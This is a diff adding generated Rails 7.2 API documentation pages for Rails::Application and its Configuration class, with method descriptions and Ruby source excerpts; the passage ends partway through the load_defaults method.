diff --git a/src/7.2/classes/Rails/Application.html b/src/7.2/classes/Rails/Application.html new file mode 100644 index 0000000000..ba1e0297bf --- /dev/null +++ b/src/7.2/classes/Rails/Application.html @@ -0,0 +1,1447 @@ +--- +title: Rails::Application +layout: default +--- +
+ +
+
+ +
+ +

An Engine with the responsibility of coordinating the whole boot process.

+ +

Initialization

+ +

Rails::Application is responsible for executing all railties and engines initializers. It also executes some bootstrap initializers (check Rails::Application::Bootstrap) and finishing initializers, after all the others are executed (check Rails::Application::Finisher).

+ +

Configuration

+ +

Besides providing the same configuration as Rails::Engine and Rails::Railtie, the application object has several specific configurations, for example enable_reloading, consider_all_requests_local, filter_parameters, logger, and so forth.

+ +

Check Rails::Application::Configuration to see them all.

+ +

Routes

+ +

The application object is also responsible for holding the routes and reloading routes whenever the files change in development.

+ +

Middlewares

+ +

The Application is also responsible for building the middleware stack.

+ +

Booting process

+ +

The application is also responsible for setting up and executing the booting process. From the moment you require config/application.rb in your app, the booting process goes like this:

+
  1. +

    require "config/boot.rb" to set up load paths.

    +
  2. +

    require railties and engines.

    +
  3. +

    Define Rails.application as class MyApp::Application < Rails::Application.

    +
  4. +

    Run config.before_configuration callbacks.

    +
  5. +

    Load config/environments/ENV.rb.

    +
  6. +

    Run config.before_initialize callbacks.

    +
  7. +

    Run Railtie#initializer defined by railties, engines, and application. One by one, each engine sets up its load paths and routes, and runs its config/initializers/* files.

    +
  8. +

    Custom Railtie#initializers added by railties, engines, and applications are executed.

    +
  9. +

    Build the middleware stack and run to_prepare callbacks.

    +
  10. +

    Run config.before_eager_load and eager_load! if eager_load is true.

    +
  11. +

    Run config.after_initialize callbacks.

    +
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + assets
+ [R] + autoloaders
+ [W] + config
+ [W] + credentials
+ [R] + executor
+ [R] + reloader
+ [R] + reloaders
+ [RW] + sandbox
+ [RW] + sandbox?
+ + + + +

Class Public methods

+ +
+

+ + create(initial_variable_values = {}, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 83
+      def create(initial_variable_values = {}, &block)
+        new(initial_variable_values, &block).run_load_hooks!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_root(from) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 87
+      def find_root(from)
+        find_root_with_flag "config.ru", from, Dir.pwd
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inherited(base) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 70
+      def inherited(base)
+        super
+        Rails.app_class = base
+        # lib has to be added to $LOAD_PATH unconditionally, even if it's in the
+        # autoload paths and config.add_autoload_paths_to_load_path is false.
+        add_lib_to_load_path!(find_root(base.called_from))
+        ActiveSupport.run_load_hooks(:before_configuration, base)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instance() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 79
+      def instance
+        super.run_load_hooks!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(initial_variable_values = {}, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 108
+    def initialize(initial_variable_values = {}, &block)
+      super()
+      @initialized       = false
+      @reloaders         = []
+      @routes_reloader   = nil
+      @app_env_config    = nil
+      @ordered_railties  = nil
+      @railties          = nil
+      @key_generators    = {}
+      @message_verifiers = nil
+      @deprecators       = nil
+      @ran_load_hooks    = false
+
+      @executor          = Class.new(ActiveSupport::Executor)
+      @reloader          = Class.new(ActiveSupport::Reloader)
+      @reloader.executor = @executor
+
+      @autoloaders = Rails::Autoloaders.new
+
+      # are these actually used?
+      @initial_variable_values = initial_variable_values
+      @block = block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + config_for(name, env: Rails.env) + +

+ + +
+

Convenience for loading config/foo.yml for the current Rails env. Example:

+ +
# config/exception_notification.yml:
+production:
+  url: http://127.0.0.1:8080
+  namespace: my_app_production
+
+development:
+  url: http://localhost:3001
+  namespace: my_app_development
+
+ +

+ +
# config/environments/production.rb
+Rails.application.configure do
+  config.middleware.use ExceptionNotifier, config_for(:exception_notification)
+end
+
+ +

You can also store configurations in a shared section which will be merged with the environment configuration

+ +
# config/example.yml
+shared:
+  foo:
+    bar:
+      baz: 1
+
+development:
+  foo:
+    bar:
+      qux: 2
+
+ +

+ +
# development environment
+Rails.application.config_for(:example)[:foo][:bar]
+# => { baz: 1, qux: 2 }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 283
+    def config_for(name, env: Rails.env)
+      yaml = name.is_a?(Pathname) ? name : Pathname.new("#{paths["config"].existent.first}/#{name}.yml")
+
+      if yaml.exist?
+        require "erb"
+        all_configs    = ActiveSupport::ConfigurationFile.parse(yaml).deep_symbolize_keys
+        config, shared = all_configs[env.to_sym], all_configs[:shared]
+
+        if shared
+          config = {} if config.nil? && shared.is_a?(Hash)
+          if config.is_a?(Hash) && shared.is_a?(Hash)
+            config = shared.deep_merge(config)
+          elsif config.nil?
+            config = shared
+          end
+        end
+
+        if config.is_a?(Hash)
+          config = ActiveSupport::OrderedOptions.new.update(config)
+        end
+
+        config
+      else
+        raise "Could not load configuration. No such file - #{yaml}"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + console(&blk) + +

+ + +
+

Sends any console called in the instance of a new application up to the console method defined in Rails::Railtie.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 366
+    def console(&blk)
+      self.class.console(&blk)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + credentials() + +

+ + +
+

Returns an ActiveSupport::EncryptedConfiguration instance for the credentials file specified by config.credentials.content_path.

+ +

By default, config.credentials.content_path will point to either config/credentials/#{environment}.yml.enc for the current environment (for example, config/credentials/production.yml.enc for the production environment), or config/credentials.yml.enc if that file does not exist.

+ +

The encryption key is taken from either ENV["RAILS_MASTER_KEY"], or from the file specified by config.credentials.key_path. By default, config.credentials.key_path will point to either config/credentials/#{environment}.key for the current environment, or config/master.key if that file does not exist.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 487
+    def credentials
+      @credentials ||= encrypted(config.credentials.content_path, key_path: config.credentials.key_path)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deprecators() + +

+ + +
+

A managed collection of deprecators (ActiveSupport::Deprecation::Deprecators). The collection’s configuration methods affect all deprecators in the collection. Additionally, the collection’s silence method silences all deprecators in the collection for the duration of a given block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 239
+    def deprecators
+      @deprecators ||= ActiveSupport::Deprecation::Deprecators.new.tap do |deprecators|
+        deprecators[:railties] = Rails.deprecator
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eager_load!() + +

+ + +
+

Eager loads the application code.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 545
+    def eager_load!
+      Rails.autoloaders.each(&:eager_load)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypted(path, key_path: "config/master.key", env_key: "RAILS_MASTER_KEY") + +

+ + +
+

Returns an ActiveSupport::EncryptedConfiguration instance for an encrypted file. By default, the encryption key is taken from either ENV["RAILS_MASTER_KEY"], or from the config/master.key file.

+ +
my_config = Rails.application.encrypted("config/my_config.enc")
+
+my_config.read
+# => "foo:\n  bar: 123\n"
+
+my_config.foo.bar
+# => 123
+
+ +

Encrypted files can be edited with the bin/rails encrypted:edit command. (See the output of bin/rails encrypted:edit --help for more information.)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 506
+    def encrypted(path, key_path: "config/master.key", env_key: "RAILS_MASTER_KEY")
+      ActiveSupport::EncryptedConfiguration.new(
+        config_path: Rails.root.join(path),
+        key_path: Rails.root.join(key_path),
+        env_key: env_key,
+        raise_if_missing_key: config.require_master_key
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + env_config() + +

+ + +
+

Stores some of the Rails initial environment parameters which will be used by middlewares and engines to configure themselves.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 312
+    def env_config
+      @app_env_config ||= super.merge(
+          "action_dispatch.parameter_filter" => filter_parameters,
+          "action_dispatch.redirect_filter" => config.filter_redirect,
+          "action_dispatch.secret_key_base" => secret_key_base,
+          "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
+          "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
+          "action_dispatch.log_rescued_responses" => config.action_dispatch.log_rescued_responses,
+          "action_dispatch.debug_exception_log_level" => ActiveSupport::Logger.const_get(config.action_dispatch.debug_exception_log_level.to_s.upcase),
+          "action_dispatch.logger" => Rails.logger,
+          "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner,
+          "action_dispatch.key_generator" => key_generator,
+          "action_dispatch.http_auth_salt" => config.action_dispatch.http_auth_salt,
+          "action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt,
+          "action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt,
+          "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt,
+          "action_dispatch.authenticated_encrypted_cookie_salt" => config.action_dispatch.authenticated_encrypted_cookie_salt,
+          "action_dispatch.use_authenticated_cookie_encryption" => config.action_dispatch.use_authenticated_cookie_encryption,
+          "action_dispatch.encrypted_cookie_cipher" => config.action_dispatch.encrypted_cookie_cipher,
+          "action_dispatch.signed_cookie_digest" => config.action_dispatch.signed_cookie_digest,
+          "action_dispatch.cookies_serializer" => config.action_dispatch.cookies_serializer,
+          "action_dispatch.cookies_digest" => config.action_dispatch.cookies_digest,
+          "action_dispatch.cookies_rotations" => config.action_dispatch.cookies_rotations,
+          "action_dispatch.cookies_same_site_protection" => coerce_same_site_protection(config.action_dispatch.cookies_same_site_protection),
+          "action_dispatch.use_cookies_with_metadata" => config.action_dispatch.use_cookies_with_metadata,
+          "action_dispatch.content_security_policy" => config.content_security_policy,
+          "action_dispatch.content_security_policy_report_only" => config.content_security_policy_report_only,
+          "action_dispatch.content_security_policy_nonce_generator" => config.content_security_policy_nonce_generator,
+          "action_dispatch.content_security_policy_nonce_directives" => config.content_security_policy_nonce_directives,
+          "action_dispatch.permissions_policy" => config.permissions_policy,
+        )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generators(&blk) + +

+ + +
+

Sends any generators called in the instance of a new application up to the generators method defined in Rails::Railtie.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 372
+    def generators(&blk)
+      self.class.generators(&blk)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initialized?() + +

+ + +
+

Returns true if the application is initialized.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 133
+    def initialized?
+      @initialized
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initializer(name, opts = {}, &block) + +

+ + +
+

Sends the initializers to the initializer method defined in the Rails::Initializable module. Each Rails::Application class has its own set of initializers, as defined by the Initializable module.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 354
+    def initializer(name, opts = {}, &block)
+      self.class.initializer(name, opts, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + isolate_namespace(mod) + +

+ + +
+

Sends the isolate_namespace method up to the class method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 383
+    def isolate_namespace(mod)
+      self.class.isolate_namespace(mod)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key_generator(secret_key_base = self.secret_key_base) + +

+ + +
+

Returns a key generator (ActiveSupport::CachingKeyGenerator) for a specified secret_key_base. The return value is memoized, so additional calls with the same secret_key_base will return the same key generator instance.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 167
+    def key_generator(secret_key_base = self.secret_key_base)
+      # number of iterations selected based on consultation with the google security
+      # team. Details at https://github.com/rails/rails/pull/6952#issuecomment-7661220
+      @key_generators[secret_key_base] ||= ActiveSupport::CachingKeyGenerator.new(
+        ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + message_verifier(verifier_name) + +

+ + +
+

Returns a message verifier object.

+ +

This verifier can be used to generate and verify signed messages in the application.

+ +

It is recommended not to use the same verifier for different things, so you can get different verifiers passing the verifier_name argument.

+ +

For instance, ActiveStorage::Blob.signed_id_verifier is implemented using this feature, which assures that the IDs strings haven’t been tampered with and are safe to use in a finder.

+ +

See the ActiveSupport::MessageVerifier documentation for more information.

+ +

Parameters

+
  • +

    verifier_name - the name of the message verifier.

    +
+ +

Examples

+ +
message = Rails.application.message_verifier('my_purpose').generate('data to sign against tampering')
+Rails.application.message_verifier('my_purpose').verify(message)
+# => 'data to sign against tampering'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 231
+    def message_verifier(verifier_name)
+      message_verifiers[verifier_name]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + message_verifiers() + +

+ + +
+

Returns a message verifier factory (ActiveSupport::MessageVerifiers). This factory can be used as a central point to configure and create message verifiers (ActiveSupport::MessageVerifier) for your application.

+ +

By default, message verifiers created by this factory will generate messages using the default ActiveSupport::MessageVerifier options. You can override these options with a combination of ActiveSupport::MessageVerifiers#clear_rotations and ActiveSupport::MessageVerifiers#rotate. However, this must be done prior to building any message verifier instances. For example, in a before_initialize block:

+ +
# Use `url_safe: true` when generating messages
+config.before_initialize do |app|
+  app.message_verifiers.clear_rotations
+  app.message_verifiers.rotate(url_safe: true)
+end
+
+ +

Message verifiers created by this factory will always use a secret derived from secret_key_base when generating messages. clear_rotations will not affect this behavior. However, older secret_key_base values can be rotated for verifying messages:

+ +
# Fall back to old `secret_key_base` when verifying messages
+config.before_initialize do |app|
+  app.message_verifiers.rotate(secret_key_base: "old secret_key_base")
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 203
+    def message_verifiers
+      @message_verifiers ||=
+        ActiveSupport::MessageVerifiers.new do |salt, secret_key_base: self.secret_key_base|
+          key_generator(secret_key_base).generate_key(salt)
+        end.rotate_defaults
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+

Returns the dasherized application name.

+ +
MyApp::Application.new.name => "my-app"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 140
+    def name
+      self.class.name.underscore.dasherize.delete_suffix("/application")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rake_tasks(&block) + +

+ + +
+

If you try to define a set of Rake tasks on the instance, these will get passed up to the Rake tasks defined on the application’s class.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 347
+    def rake_tasks(&block)
+      self.class.rake_tasks(&block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reload_routes!() + +

+ + +
+

Reload application routes regardless if they changed or not.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 159
+    def reload_routes!
+      routes_reloader.reload!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + runner(&blk) + +

+ + +
+

Sends any runner called in the instance of a new application up to the runner method defined in Rails::Railtie.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 360
+    def runner(&blk)
+      self.class.runner(&blk)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + secret_key_base() + +

+ + +
+

The secret_key_base is used as the input secret to the application’s key generator, which in turn is used to create all ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor instances, including the ones that sign and encrypt cookies.

+ +

In development and test, this is randomly generated and stored in a temporary file in tmp/local_secret.txt.

+ +

You can also set ENV["SECRET_KEY_BASE_DUMMY"] to trigger the use of a randomly generated secret_key_base that’s stored in a temporary file. This is useful when precompiling assets for production as part of a build step that otherwise does not need access to the production secrets.

+ +

Dockerfile example: RUN SECRET_KEY_BASE_DUMMY=1 bundle exec rails assets:precompile.

+ +

In all other environments, we look for it first in ENV["SECRET_KEY_BASE"], then credentials.secret_key_base. For most applications, the correct place to store it is in the encrypted credentials file.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 469
+    def secret_key_base
+      config.secret_key_base
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + server(&blk) + +

+ + +
+

Sends any server called in the instance of a new application up to the server method defined in Rails::Railtie.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 378
+    def server(&blk)
+      self.class.server(&blk)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Protected methods

+ +
+

+ + ensure_generator_templates_added() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application.rb, line 623
+    def ensure_generator_templates_added
+      configured_paths = config.generators.templates
+      configured_paths.unshift(*(paths["lib/templates"].existent - configured_paths))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Application/Bootstrap.html b/src/7.2/classes/Rails/Application/Bootstrap.html new file mode 100644 index 0000000000..4186746a14 --- /dev/null +++ b/src/7.2/classes/Rails/Application/Bootstrap.html @@ -0,0 +1,68 @@ +--- +title: Rails::Application::Bootstrap +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Application/Configuration.html b/src/7.2/classes/Rails/Application/Configuration.html new file mode 100644 index 0000000000..20376640d3 --- /dev/null +++ b/src/7.2/classes/Rails/Application/Configuration.html @@ -0,0 +1,1823 @@ +--- +title: Rails::Application::Configuration +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + add_autoload_paths_to_load_path
+ [RW] + allow_concurrency
+ [R] + api_only
+ [RW] + asset_host
+ [RW] + assume_ssl
+ [RW] + autoflush_log
+ [RW] + beginning_of_week
+ [RW] + cache_classes
+ [RW] + cache_store
+ [RW] + consider_all_requests_local
+ [RW] + console
+ [RW] + content_security_policy_nonce_directives
+ [RW] + content_security_policy_nonce_generator
+ [RW] + content_security_policy_report_only
+ [RW] + credentials
+ [W] + debug_exception_response_format
+ [RW] + disable_sandbox
+ [RW] + dom_testing_default_html_version
+ [RW] + eager_load
+ [R] + encoding
+ [RW] + exceptions_app
+ [RW] + file_watcher
+ [RW] + filter_parameters
+ [RW] + filter_redirect
+ [RW] + force_ssl
+ [RW] + helpers_paths
+ [RW] + host_authorization
+ [RW] + hosts
+ [R] + loaded_config_version
+ [RW] + log_file_size
+ [RW] + log_formatter
+ [R] + log_level
+ [RW] + log_tags
+ [RW] + logger
+ [RW] + precompile_filter_parameters
+ [RW] + public_file_server
+ [RW] + railties_order
+ [RW] + rake_eager_load
+ [RW] + relative_url_root
+ [RW] + reload_classes_only_on_change
+ [RW] + require_master_key
+ [RW] + sandbox_by_default
+ [RW] + server_timing
+ [RW] + session_options
+ [RW] + ssl_options
+ [RW] + time_zone
+ [RW] + x
+ [RW] + yjit
+ + + + +

Class Public methods

+ +
+

+ + new(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 30
+      def initialize(*)
+        super
+        self.encoding                            = Encoding::UTF_8
+        @allow_concurrency                       = nil
+        @consider_all_requests_local             = false
+        @filter_parameters                       = []
+        @filter_redirect                         = []
+        @helpers_paths                           = []
+        if Rails.env.development?
+          @hosts = ActionDispatch::HostAuthorization::ALLOWED_HOSTS_IN_DEVELOPMENT +
+            ENV["RAILS_DEVELOPMENT_HOSTS"].to_s.split(",").map(&:strip)
+        else
+          @hosts = []
+        end
+        @host_authorization                      = {}
+        @public_file_server                      = ActiveSupport::OrderedOptions.new
+        @public_file_server.enabled              = true
+        @public_file_server.index_name           = "index"
+        @assume_ssl                              = false
+        @force_ssl                               = false
+        @ssl_options                             = {}
+        @session_store                           = nil
+        @time_zone                               = "UTC"
+        @beginning_of_week                       = :monday
+        @log_level                               = :debug
+        @log_file_size                           = nil
+        @generators                              = app_generators
+        @cache_store                             = [ :file_store, "#{root}/tmp/cache/" ]
+        @railties_order                          = [:all]
+        @relative_url_root                       = ENV["RAILS_RELATIVE_URL_ROOT"]
+        @reload_classes_only_on_change           = true
+        @file_watcher                            = ActiveSupport::FileUpdateChecker
+        @exceptions_app                          = nil
+        @autoflush_log                           = true
+        @log_formatter                           = ActiveSupport::Logger::SimpleFormatter.new
+        @eager_load                              = nil
+        @secret_key_base                         = nil
+        @api_only                                = false
+        @debug_exception_response_format         = nil
+        @x                                       = Custom.new
+        @content_security_policy                 = nil
+        @content_security_policy_report_only     = false
+        @content_security_policy_nonce_generator = nil
+        @content_security_policy_nonce_directives = nil
+        @require_master_key                      = false
+        @loaded_config_version                   = nil
+        @credentials                             = ActiveSupport::InheritableOptions.new(credentials_defaults)
+        @disable_sandbox                         = false
+        @sandbox_by_default                      = false
+        @add_autoload_paths_to_load_path         = true
+        @permissions_policy                      = nil
+        @rake_eager_load                         = false
+        @server_timing                           = false
+        @dom_testing_default_html_version        = :html4
+        @yjit                                    = false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + annotations() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 558
+      def annotations
+        Rails::SourceAnnotationExtractor::Annotation
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + api_only=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 373
+      def api_only=(value)
+        @api_only = value
+        generators.api_only = value
+
+        @debug_exception_response_format ||= :api
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + autoload_lib(ignore:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 468
+      def autoload_lib(ignore:)
+        lib = root.join("lib")
+
+        # Set as a string to have the same type as default autoload paths, for
+        # consistency.
+        autoload_paths << lib.to_s
+        eager_load_paths << lib.to_s
+
+        ignored_abspaths = Array.wrap(ignore).map { lib.join(_1) }
+        Rails.autoloaders.main.ignore(ignored_abspaths)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + autoload_lib_once(ignore:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 480
+      def autoload_lib_once(ignore:)
+        lib = root.join("lib")
+
+        # Set as a string to have the same type as default autoload paths, for
+        # consistency.
+        autoload_once_paths << lib.to_s
+        eager_load_paths << lib.to_s
+
+        ignored_abspaths = Array.wrap(ignore).map { lib.join(_1) }
+        Rails.autoloaders.once.ignore(ignored_abspaths)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + colorize_logging() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 492
+      def colorize_logging
+        ActiveSupport::LogSubscriber.colorize_logging
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + colorize_logging=(val) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 496
+      def colorize_logging=(val)
+        ActiveSupport::LogSubscriber.colorize_logging = val
+        generators.colorize_logging = val
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + content_security_policy(&block) + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 563
+      def content_security_policy(&block)
+        if block_given?
+          @content_security_policy = ActionDispatch::ContentSecurityPolicy.new(&block)
+        else
+          @content_security_policy
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + database_configuration() + +

+ + +
+

Loads and returns the entire raw configuration of database from values stored in config/database.yml.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 431
+      def database_configuration
+        path = paths["config/database"].existent.first
+        yaml = Pathname.new(path) if path
+
+        config = if yaml&.exist?
+          loaded_yaml = ActiveSupport::ConfigurationFile.parse(yaml)
+          if (shared = loaded_yaml.delete("shared"))
+            loaded_yaml.each do |env, config|
+              if config.is_a?(Hash) && config.values.all?(Hash)
+                if shared.is_a?(Hash) && shared.values.all?(Hash)
+                  config.map do |name, sub_config|
+                    sub_config.reverse_merge!(shared[name])
+                  end
+                else
+                  config.map do |name, sub_config|
+                    sub_config.reverse_merge!(shared)
+                  end
+                end
+              else
+                config.reverse_merge!(shared)
+              end
+            end
+          end
+          Hash.new(shared).merge(loaded_yaml)
+        elsif ENV["DATABASE_URL"]
+          # Value from ENV['DATABASE_URL'] is set to default database connection
+          # by Active Record.
+          {}
+        else
+          raise "Could not load database configuration. No such file - #{paths["config/database"].instance_variable_get(:@paths)}"
+        end
+
+        config
+      rescue => e
+        raise e, "Cannot load database configuration:\n#{e.message}", e.backtrace
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + debug_exception_response_format() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 387
+      def debug_exception_response_format
+        @debug_exception_response_format || :default
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_log_file() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 580
+      def default_log_file
+        path = paths["log"].first
+        unless File.exist? File.dirname path
+          FileUtils.mkdir_p File.dirname path
+        end
+
+        f = File.open path, "a"
+        f.binmode
+        f.sync = autoflush_log # if true make sure every write flushes
+        f
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enable_reloading() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 349
+      def enable_reloading
+        !cache_classes
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enable_reloading=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 353
+      def enable_reloading=(value)
+        self.cache_classes = !value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encoding=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 365
+      def encoding=(value)
+        @encoding = value
+        silence_warnings do
+          Encoding.default_external = value
+          Encoding.default_internal = value
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_defaults(target_version) + +

+ + +
+

Loads default configuration values for a target version. This includes defaults for versions prior to the target version. See the configuration guide for the default values associated with a particular version.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/application/configuration.rb, line 91
+      def load_defaults(target_version)
+        # To introduce a change in behavior, follow these steps:
+        # 1. Add an accessor on the target object (e.g. the ActiveJob class for
+        #    global Active Job config).
+        # 2. Set a default value there preserving existing behavior for existing
+        #    applications.
+        # 3. Implement the behavior change based on the config value.
+        # 4. In the section below corresponding to the next release of Rails,
+        #    configure the default value.
+        # 5. Add a commented out section in the `new_framework_defaults` to
+        #    configure the default value again.
+        # 6. Update the guide in `configuring.md`.
+
+        # To remove configurable deprecated behavior, follow these steps:
+        # 1. Update or remove the entry in the guides.
+        # 2. Remove the references below.
+        # 3. Remove the legacy code paths and config check.
+        # 4. Remove the config accessor.
+
+        case target_version.to_s
+        when "5.0"
+          if respond_to?(:action_controller)
+            action_controller.per_form_csrf_tokens = true
+            action_controller.forgery_protection_origin_check = true
+          end
+
+          ActiveSupport.to_time_preserves_timezone = true
+
+          if respond_to?(:active_record)
+            active_record.belongs_to_required_by_default = true
+          end
+
